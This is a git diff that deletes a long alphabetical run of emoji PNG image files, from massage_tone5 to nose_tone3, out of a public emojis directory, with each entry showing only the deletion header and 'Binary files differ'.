diff --git a/public/-/emojis/2/massage_tone5.png b/public/-/emojis/2/massage_tone5.png
deleted file mode 100644
index f94803a160a..00000000000
--- a/public/-/emojis/2/massage_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/meat_on_bone.png b/public/-/emojis/2/meat_on_bone.png
deleted file mode 100644
index b5ad381da75..00000000000
--- a/public/-/emojis/2/meat_on_bone.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/medal.png b/public/-/emojis/2/medal.png
deleted file mode 100644
index 5fa2dc0c4e3..00000000000
--- a/public/-/emojis/2/medal.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/medical_symbol.png b/public/-/emojis/2/medical_symbol.png
deleted file mode 100644
index 0ef6577d04c..00000000000
--- a/public/-/emojis/2/medical_symbol.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mega.png b/public/-/emojis/2/mega.png
deleted file mode 100644
index b202541a6f1..00000000000
--- a/public/-/emojis/2/mega.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/melon.png b/public/-/emojis/2/melon.png
deleted file mode 100644
index f2bb8157add..00000000000
--- a/public/-/emojis/2/melon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/men_with_bunny_ears_partying.png b/public/-/emojis/2/men_with_bunny_ears_partying.png
deleted file mode 100644
index 77f5064002b..00000000000
--- a/public/-/emojis/2/men_with_bunny_ears_partying.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/men_wrestling.png b/public/-/emojis/2/men_wrestling.png
deleted file mode 100644
index 2b9ef81875d..00000000000
--- a/public/-/emojis/2/men_wrestling.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/menorah.png b/public/-/emojis/2/menorah.png
deleted file mode 100644
index fe46e8a223a..00000000000
--- a/public/-/emojis/2/menorah.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mens.png b/public/-/emojis/2/mens.png
deleted file mode 100644
index 5f86d0a002c..00000000000
--- a/public/-/emojis/2/mens.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mermaid.png b/public/-/emojis/2/mermaid.png
deleted file mode 100644
index ee7a366b488..00000000000
--- a/public/-/emojis/2/mermaid.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mermaid_tone1.png b/public/-/emojis/2/mermaid_tone1.png
deleted file mode 100644
index 3c163300ce4..00000000000
--- a/public/-/emojis/2/mermaid_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mermaid_tone2.png b/public/-/emojis/2/mermaid_tone2.png
deleted file mode 100644
index c4b70b77253..00000000000
--- a/public/-/emojis/2/mermaid_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mermaid_tone3.png b/public/-/emojis/2/mermaid_tone3.png
deleted file mode 100644
index d8397bfb3c7..00000000000
--- a/public/-/emojis/2/mermaid_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mermaid_tone4.png b/public/-/emojis/2/mermaid_tone4.png
deleted file mode 100644
index 8cef4c19c79..00000000000
--- a/public/-/emojis/2/mermaid_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mermaid_tone5.png b/public/-/emojis/2/mermaid_tone5.png
deleted file mode 100644
index 31a5a01cb86..00000000000
--- a/public/-/emojis/2/mermaid_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merman.png b/public/-/emojis/2/merman.png
deleted file mode 100644
index 076451558fb..00000000000
--- a/public/-/emojis/2/merman.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merman_tone1.png b/public/-/emojis/2/merman_tone1.png
deleted file mode 100644
index 28894097812..00000000000
--- a/public/-/emojis/2/merman_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merman_tone2.png b/public/-/emojis/2/merman_tone2.png
deleted file mode 100644
index 972080621d0..00000000000
--- a/public/-/emojis/2/merman_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merman_tone3.png b/public/-/emojis/2/merman_tone3.png
deleted file mode 100644
index 8dabd4efc34..00000000000
--- a/public/-/emojis/2/merman_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merman_tone4.png b/public/-/emojis/2/merman_tone4.png
deleted file mode 100644
index bbf18d6c7f7..00000000000
--- a/public/-/emojis/2/merman_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merman_tone5.png b/public/-/emojis/2/merman_tone5.png
deleted file mode 100644
index 96993c0e739..00000000000
--- a/public/-/emojis/2/merman_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merperson.png b/public/-/emojis/2/merperson.png
deleted file mode 100644
index d99496fe768..00000000000
--- a/public/-/emojis/2/merperson.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merperson_tone1.png b/public/-/emojis/2/merperson_tone1.png
deleted file mode 100644
index 3c163300ce4..00000000000
--- a/public/-/emojis/2/merperson_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merperson_tone2.png b/public/-/emojis/2/merperson_tone2.png
deleted file mode 100644
index c4b70b77253..00000000000
--- a/public/-/emojis/2/merperson_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merperson_tone3.png b/public/-/emojis/2/merperson_tone3.png
deleted file mode 100644
index d8397bfb3c7..00000000000
--- a/public/-/emojis/2/merperson_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merperson_tone4.png b/public/-/emojis/2/merperson_tone4.png
deleted file mode 100644
index 8cef4c19c79..00000000000
--- a/public/-/emojis/2/merperson_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/merperson_tone5.png b/public/-/emojis/2/merperson_tone5.png
deleted file mode 100644
index 31a5a01cb86..00000000000
--- a/public/-/emojis/2/merperson_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/metal.png b/public/-/emojis/2/metal.png
deleted file mode 100644
index 1b65dbece3a..00000000000
--- a/public/-/emojis/2/metal.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/metal_tone1.png b/public/-/emojis/2/metal_tone1.png
deleted file mode 100644
index c734a47d484..00000000000
--- a/public/-/emojis/2/metal_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/metal_tone2.png b/public/-/emojis/2/metal_tone2.png
deleted file mode 100644
index 49140945ad8..00000000000
--- a/public/-/emojis/2/metal_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/metal_tone3.png b/public/-/emojis/2/metal_tone3.png
deleted file mode 100644
index 26c6c59b3b4..00000000000
--- a/public/-/emojis/2/metal_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/metal_tone4.png b/public/-/emojis/2/metal_tone4.png
deleted file mode 100644
index acf66bd438b..00000000000
--- a/public/-/emojis/2/metal_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/metal_tone5.png b/public/-/emojis/2/metal_tone5.png
deleted file mode 100644
index c21d197c062..00000000000
--- a/public/-/emojis/2/metal_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/metro.png b/public/-/emojis/2/metro.png
deleted file mode 100644
index a799bbdeea5..00000000000
--- a/public/-/emojis/2/metro.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/microbe.png b/public/-/emojis/2/microbe.png
deleted file mode 100644
index 459f1d8dd5c..00000000000
--- a/public/-/emojis/2/microbe.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/microphone.png b/public/-/emojis/2/microphone.png
deleted file mode 100644
index a7e7af76d28..00000000000
--- a/public/-/emojis/2/microphone.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/microphone2.png b/public/-/emojis/2/microphone2.png
deleted file mode 100644
index f2486c30ee6..00000000000
--- a/public/-/emojis/2/microphone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/microscope.png b/public/-/emojis/2/microscope.png
deleted file mode 100644
index 078847953bc..00000000000
--- a/public/-/emojis/2/microscope.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/middle_finger.png b/public/-/emojis/2/middle_finger.png
deleted file mode 100644
index f1a0457a147..00000000000
--- a/public/-/emojis/2/middle_finger.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/middle_finger_tone1.png b/public/-/emojis/2/middle_finger_tone1.png
deleted file mode 100644
index 09673ac2dee..00000000000
--- a/public/-/emojis/2/middle_finger_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/middle_finger_tone2.png b/public/-/emojis/2/middle_finger_tone2.png
deleted file mode 100644
index 1901064a174..00000000000
--- a/public/-/emojis/2/middle_finger_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/middle_finger_tone3.png b/public/-/emojis/2/middle_finger_tone3.png
deleted file mode 100644
index 968ac2fe5e8..00000000000
--- a/public/-/emojis/2/middle_finger_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/middle_finger_tone4.png b/public/-/emojis/2/middle_finger_tone4.png
deleted file mode 100644
index 7b688f3cfb3..00000000000
--- a/public/-/emojis/2/middle_finger_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/middle_finger_tone5.png b/public/-/emojis/2/middle_finger_tone5.png
deleted file mode 100644
index fe237f27d4b..00000000000
--- a/public/-/emojis/2/middle_finger_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/military_medal.png b/public/-/emojis/2/military_medal.png
deleted file mode 100644
index 01b9f5ed858..00000000000
--- a/public/-/emojis/2/military_medal.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/milk.png b/public/-/emojis/2/milk.png
deleted file mode 100644
index cfa40c35981..00000000000
--- a/public/-/emojis/2/milk.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/milky_way.png b/public/-/emojis/2/milky_way.png
deleted file mode 100644
index b4363d3de9e..00000000000
--- a/public/-/emojis/2/milky_way.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/minibus.png b/public/-/emojis/2/minibus.png
deleted file mode 100644
index 79e3345c96a..00000000000
--- a/public/-/emojis/2/minibus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/minidisc.png b/public/-/emojis/2/minidisc.png
deleted file mode 100644
index fc1c618e187..00000000000
--- a/public/-/emojis/2/minidisc.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mobile_phone_off.png b/public/-/emojis/2/mobile_phone_off.png
deleted file mode 100644
index b8c7098ab33..00000000000
--- a/public/-/emojis/2/mobile_phone_off.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/money_mouth.png b/public/-/emojis/2/money_mouth.png
deleted file mode 100644
index 5359ad7651c..00000000000
--- a/public/-/emojis/2/money_mouth.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/money_with_wings.png b/public/-/emojis/2/money_with_wings.png
deleted file mode 100644
index 5cd4c245520..00000000000
--- a/public/-/emojis/2/money_with_wings.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/moneybag.png b/public/-/emojis/2/moneybag.png
deleted file mode 100644
index b918031e677..00000000000
--- a/public/-/emojis/2/moneybag.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/monkey.png b/public/-/emojis/2/monkey.png
deleted file mode 100644
index a7cacccfc8c..00000000000
--- a/public/-/emojis/2/monkey.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/monkey_face.png b/public/-/emojis/2/monkey_face.png
deleted file mode 100644
index de0af93e80e..00000000000
--- a/public/-/emojis/2/monkey_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/monorail.png b/public/-/emojis/2/monorail.png
deleted file mode 100644
index 4aef109f2ba..00000000000
--- a/public/-/emojis/2/monorail.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/moon_cake.png b/public/-/emojis/2/moon_cake.png
deleted file mode 100644
index 02ae641135d..00000000000
--- a/public/-/emojis/2/moon_cake.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mortar_board.png b/public/-/emojis/2/mortar_board.png
deleted file mode 100644
index 636dbdedeb7..00000000000
--- a/public/-/emojis/2/mortar_board.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mosque.png b/public/-/emojis/2/mosque.png
deleted file mode 100644
index 410ab743c54..00000000000
--- a/public/-/emojis/2/mosque.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mosquito.png b/public/-/emojis/2/mosquito.png
deleted file mode 100644
index 4fdcc37bee5..00000000000
--- a/public/-/emojis/2/mosquito.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/motor_scooter.png b/public/-/emojis/2/motor_scooter.png
deleted file mode 100644
index 85c86182fc1..00000000000
--- a/public/-/emojis/2/motor_scooter.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/motorboat.png b/public/-/emojis/2/motorboat.png
deleted file mode 100644
index 48e3d2ec309..00000000000
--- a/public/-/emojis/2/motorboat.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/motorcycle.png b/public/-/emojis/2/motorcycle.png
deleted file mode 100644
index bb0c8020a99..00000000000
--- a/public/-/emojis/2/motorcycle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/motorway.png b/public/-/emojis/2/motorway.png
deleted file mode 100644
index c5fe4840315..00000000000
--- a/public/-/emojis/2/motorway.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mount_fuji.png b/public/-/emojis/2/mount_fuji.png
deleted file mode 100644
index c2dd65cb439..00000000000
--- a/public/-/emojis/2/mount_fuji.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain.png b/public/-/emojis/2/mountain.png
deleted file mode 100644
index 69de5203381..00000000000
--- a/public/-/emojis/2/mountain.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain_bicyclist.png b/public/-/emojis/2/mountain_bicyclist.png
deleted file mode 100644
index 789115772be..00000000000
--- a/public/-/emojis/2/mountain_bicyclist.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain_bicyclist_tone1.png b/public/-/emojis/2/mountain_bicyclist_tone1.png
deleted file mode 100644
index 445b9b431b5..00000000000
--- a/public/-/emojis/2/mountain_bicyclist_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain_bicyclist_tone2.png b/public/-/emojis/2/mountain_bicyclist_tone2.png
deleted file mode 100644
index bbb5f3ff5a8..00000000000
--- a/public/-/emojis/2/mountain_bicyclist_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain_bicyclist_tone3.png b/public/-/emojis/2/mountain_bicyclist_tone3.png
deleted file mode 100644
index e48d3d1ad38..00000000000
--- a/public/-/emojis/2/mountain_bicyclist_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain_bicyclist_tone4.png b/public/-/emojis/2/mountain_bicyclist_tone4.png
deleted file mode 100644
index 418358de59d..00000000000
--- a/public/-/emojis/2/mountain_bicyclist_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain_bicyclist_tone5.png b/public/-/emojis/2/mountain_bicyclist_tone5.png
deleted file mode 100644
index fe2c26d0099..00000000000
--- a/public/-/emojis/2/mountain_bicyclist_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain_cableway.png b/public/-/emojis/2/mountain_cableway.png
deleted file mode 100644
index fceb14cee7a..00000000000
--- a/public/-/emojis/2/mountain_cableway.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain_railway.png b/public/-/emojis/2/mountain_railway.png
deleted file mode 100644
index 1244df78732..00000000000
--- a/public/-/emojis/2/mountain_railway.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mountain_snow.png b/public/-/emojis/2/mountain_snow.png
deleted file mode 100644
index 21ca179d442..00000000000
--- a/public/-/emojis/2/mountain_snow.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mouse.png b/public/-/emojis/2/mouse.png
deleted file mode 100644
index 34799e69235..00000000000
--- a/public/-/emojis/2/mouse.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mouse2.png b/public/-/emojis/2/mouse2.png
deleted file mode 100644
index 666d0a54c24..00000000000
--- a/public/-/emojis/2/mouse2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mouse_three_button.png b/public/-/emojis/2/mouse_three_button.png
deleted file mode 100644
index cb3b6435282..00000000000
--- a/public/-/emojis/2/mouse_three_button.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/movie_camera.png b/public/-/emojis/2/movie_camera.png
deleted file mode 100644
index 519d6018538..00000000000
--- a/public/-/emojis/2/movie_camera.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/moyai.png b/public/-/emojis/2/moyai.png
deleted file mode 100644
index 1c1f599ed4f..00000000000
--- a/public/-/emojis/2/moyai.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mrs_claus.png b/public/-/emojis/2/mrs_claus.png
deleted file mode 100644
index 8cd27c6857f..00000000000
--- a/public/-/emojis/2/mrs_claus.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mrs_claus_tone1.png b/public/-/emojis/2/mrs_claus_tone1.png
deleted file mode 100644
index a7c7ce4ac63..00000000000
--- a/public/-/emojis/2/mrs_claus_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mrs_claus_tone2.png b/public/-/emojis/2/mrs_claus_tone2.png
deleted file mode 100644
index c85c17317f2..00000000000
--- a/public/-/emojis/2/mrs_claus_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mrs_claus_tone3.png b/public/-/emojis/2/mrs_claus_tone3.png
deleted file mode 100644
index 32335c5e5ef..00000000000
--- a/public/-/emojis/2/mrs_claus_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mrs_claus_tone4.png b/public/-/emojis/2/mrs_claus_tone4.png
deleted file mode 100644
index 6f8d604023d..00000000000
--- a/public/-/emojis/2/mrs_claus_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mrs_claus_tone5.png b/public/-/emojis/2/mrs_claus_tone5.png
deleted file mode 100644
index 4c569391533..00000000000
--- a/public/-/emojis/2/mrs_claus_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/muscle.png b/public/-/emojis/2/muscle.png
deleted file mode 100644
index 73e4580d39e..00000000000
--- a/public/-/emojis/2/muscle.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/muscle_tone1.png b/public/-/emojis/2/muscle_tone1.png
deleted file mode 100644
index 431fc9c5c66..00000000000
--- a/public/-/emojis/2/muscle_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/muscle_tone2.png b/public/-/emojis/2/muscle_tone2.png
deleted file mode 100644
index 1fe41ce5c37..00000000000
--- a/public/-/emojis/2/muscle_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/muscle_tone3.png b/public/-/emojis/2/muscle_tone3.png
deleted file mode 100644
index 2dfd07f1a1c..00000000000
--- a/public/-/emojis/2/muscle_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/muscle_tone4.png b/public/-/emojis/2/muscle_tone4.png
deleted file mode 100644
index 735c12e6b65..00000000000
--- a/public/-/emojis/2/muscle_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/muscle_tone5.png b/public/-/emojis/2/muscle_tone5.png
deleted file mode 100644
index f8b2a1f8d3f..00000000000
--- a/public/-/emojis/2/muscle_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mushroom.png b/public/-/emojis/2/mushroom.png
deleted file mode 100644
index c642510c5cb..00000000000
--- a/public/-/emojis/2/mushroom.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/musical_keyboard.png b/public/-/emojis/2/musical_keyboard.png
deleted file mode 100644
index 5cb00affd61..00000000000
--- a/public/-/emojis/2/musical_keyboard.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/musical_note.png b/public/-/emojis/2/musical_note.png
deleted file mode 100644
index 0fbb82058ce..00000000000
--- a/public/-/emojis/2/musical_note.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/musical_score.png b/public/-/emojis/2/musical_score.png
deleted file mode 100644
index 26d18499027..00000000000
--- a/public/-/emojis/2/musical_score.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/mute.png b/public/-/emojis/2/mute.png
deleted file mode 100644
index c18cad3ea34..00000000000
--- a/public/-/emojis/2/mute.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nail_care.png b/public/-/emojis/2/nail_care.png
deleted file mode 100644
index 50efba5ab31..00000000000
--- a/public/-/emojis/2/nail_care.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nail_care_tone1.png b/public/-/emojis/2/nail_care_tone1.png
deleted file mode 100644
index 54bd41a6614..00000000000
--- a/public/-/emojis/2/nail_care_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nail_care_tone2.png b/public/-/emojis/2/nail_care_tone2.png
deleted file mode 100644
index fe80178064d..00000000000
--- a/public/-/emojis/2/nail_care_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nail_care_tone3.png b/public/-/emojis/2/nail_care_tone3.png
deleted file mode 100644
index 0612dfc3f0b..00000000000
--- a/public/-/emojis/2/nail_care_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nail_care_tone4.png b/public/-/emojis/2/nail_care_tone4.png
deleted file mode 100644
index 16bbb40c951..00000000000
--- a/public/-/emojis/2/nail_care_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nail_care_tone5.png b/public/-/emojis/2/nail_care_tone5.png
deleted file mode 100644
index b3be6b45815..00000000000
--- a/public/-/emojis/2/nail_care_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/name_badge.png b/public/-/emojis/2/name_badge.png
deleted file mode 100644
index fb08d3454ad..00000000000
--- a/public/-/emojis/2/name_badge.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nauseated_face.png b/public/-/emojis/2/nauseated_face.png
deleted file mode 100644
index 797e0c41068..00000000000
--- a/public/-/emojis/2/nauseated_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nazar_amulet.png b/public/-/emojis/2/nazar_amulet.png
deleted file mode 100644
index 33aa0dd3338..00000000000
--- a/public/-/emojis/2/nazar_amulet.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/necktie.png b/public/-/emojis/2/necktie.png
deleted file mode 100644
index 8c6ed37c2f0..00000000000
--- a/public/-/emojis/2/necktie.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/negative_squared_cross_mark.png b/public/-/emojis/2/negative_squared_cross_mark.png
deleted file mode 100644
index 393869b6d90..00000000000
--- a/public/-/emojis/2/negative_squared_cross_mark.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nerd.png b/public/-/emojis/2/nerd.png
deleted file mode 100644
index 489b40261c7..00000000000
--- a/public/-/emojis/2/nerd.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/neutral_face.png b/public/-/emojis/2/neutral_face.png
deleted file mode 100644
index b820bf48c92..00000000000
--- a/public/-/emojis/2/neutral_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/new.png b/public/-/emojis/2/new.png
deleted file mode 100644
index 80c3abc4ba9..00000000000
--- a/public/-/emojis/2/new.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/new_moon.png b/public/-/emojis/2/new_moon.png
deleted file mode 100644
index 096b795354d..00000000000
--- a/public/-/emojis/2/new_moon.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/new_moon_with_face.png b/public/-/emojis/2/new_moon_with_face.png
deleted file mode 100644
index b1acd974c0b..00000000000
--- a/public/-/emojis/2/new_moon_with_face.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/newspaper.png b/public/-/emojis/2/newspaper.png
deleted file mode 100644
index d379ae66b69..00000000000
--- a/public/-/emojis/2/newspaper.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/newspaper2.png b/public/-/emojis/2/newspaper2.png
deleted file mode 100644
index 5ddd69cd0d3..00000000000
--- a/public/-/emojis/2/newspaper2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/ng.png b/public/-/emojis/2/ng.png
deleted file mode 100644
index 0ff43910786..00000000000
--- a/public/-/emojis/2/ng.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/night_with_stars.png b/public/-/emojis/2/night_with_stars.png
deleted file mode 100644
index ac3aca0111f..00000000000
--- a/public/-/emojis/2/night_with_stars.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nine.png b/public/-/emojis/2/nine.png
deleted file mode 100644
index d29bccb30ed..00000000000
--- a/public/-/emojis/2/nine.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_bell.png b/public/-/emojis/2/no_bell.png
deleted file mode 100644
index e75c367eded..00000000000
--- a/public/-/emojis/2/no_bell.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_bicycles.png b/public/-/emojis/2/no_bicycles.png
deleted file mode 100644
index ebc6d4bc445..00000000000
--- a/public/-/emojis/2/no_bicycles.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_entry.png b/public/-/emojis/2/no_entry.png
deleted file mode 100644
index 3ebca783ee5..00000000000
--- a/public/-/emojis/2/no_entry.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_entry_sign.png b/public/-/emojis/2/no_entry_sign.png
deleted file mode 100644
index 8bc0bfb0485..00000000000
--- a/public/-/emojis/2/no_entry_sign.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_good.png b/public/-/emojis/2/no_good.png
deleted file mode 100644
index c43ec8230d3..00000000000
--- a/public/-/emojis/2/no_good.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_good_tone1.png b/public/-/emojis/2/no_good_tone1.png
deleted file mode 100644
index 2216bf48353..00000000000
--- a/public/-/emojis/2/no_good_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_good_tone2.png b/public/-/emojis/2/no_good_tone2.png
deleted file mode 100644
index 1fbfeda5351..00000000000
--- a/public/-/emojis/2/no_good_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_good_tone3.png b/public/-/emojis/2/no_good_tone3.png
deleted file mode 100644
index f11559e098b..00000000000
--- a/public/-/emojis/2/no_good_tone3.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_good_tone4.png b/public/-/emojis/2/no_good_tone4.png
deleted file mode 100644
index 7bbb542948e..00000000000
--- a/public/-/emojis/2/no_good_tone4.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_good_tone5.png b/public/-/emojis/2/no_good_tone5.png
deleted file mode 100644
index 67ecc3f752a..00000000000
--- a/public/-/emojis/2/no_good_tone5.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_mobile_phones.png b/public/-/emojis/2/no_mobile_phones.png
deleted file mode 100644
index baa51a69849..00000000000
--- a/public/-/emojis/2/no_mobile_phones.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_mouth.png b/public/-/emojis/2/no_mouth.png
deleted file mode 100644
index e50640f3a01..00000000000
--- a/public/-/emojis/2/no_mouth.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_pedestrians.png b/public/-/emojis/2/no_pedestrians.png
deleted file mode 100644
index 297663db658..00000000000
--- a/public/-/emojis/2/no_pedestrians.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/no_smoking.png b/public/-/emojis/2/no_smoking.png
deleted file mode 100644
index 968b53a1b9e..00000000000
--- a/public/-/emojis/2/no_smoking.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/non-potable_water.png b/public/-/emojis/2/non-potable_water.png
deleted file mode 100644
index 0ced74e8b04..00000000000
--- a/public/-/emojis/2/non-potable_water.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nose.png b/public/-/emojis/2/nose.png
deleted file mode 100644
index 00bd2c5a6de..00000000000
--- a/public/-/emojis/2/nose.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nose_tone1.png b/public/-/emojis/2/nose_tone1.png
deleted file mode 100644
index 7dedde2f32e..00000000000
--- a/public/-/emojis/2/nose_tone1.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nose_tone2.png b/public/-/emojis/2/nose_tone2.png
deleted file mode 100644
index 87fdc461365..00000000000
--- a/public/-/emojis/2/nose_tone2.png
+++ /dev/null
Binary files differ
diff --git a/public/-/emojis/2/nose_tone3.png b/public/-/emojis/2/nose_tone3.png
deleted file mode 100644
index db7482dead6..00000000000
--- a/public/-/emojis/2/nose_tone3.png
+++ /dev/null
Binary files differ
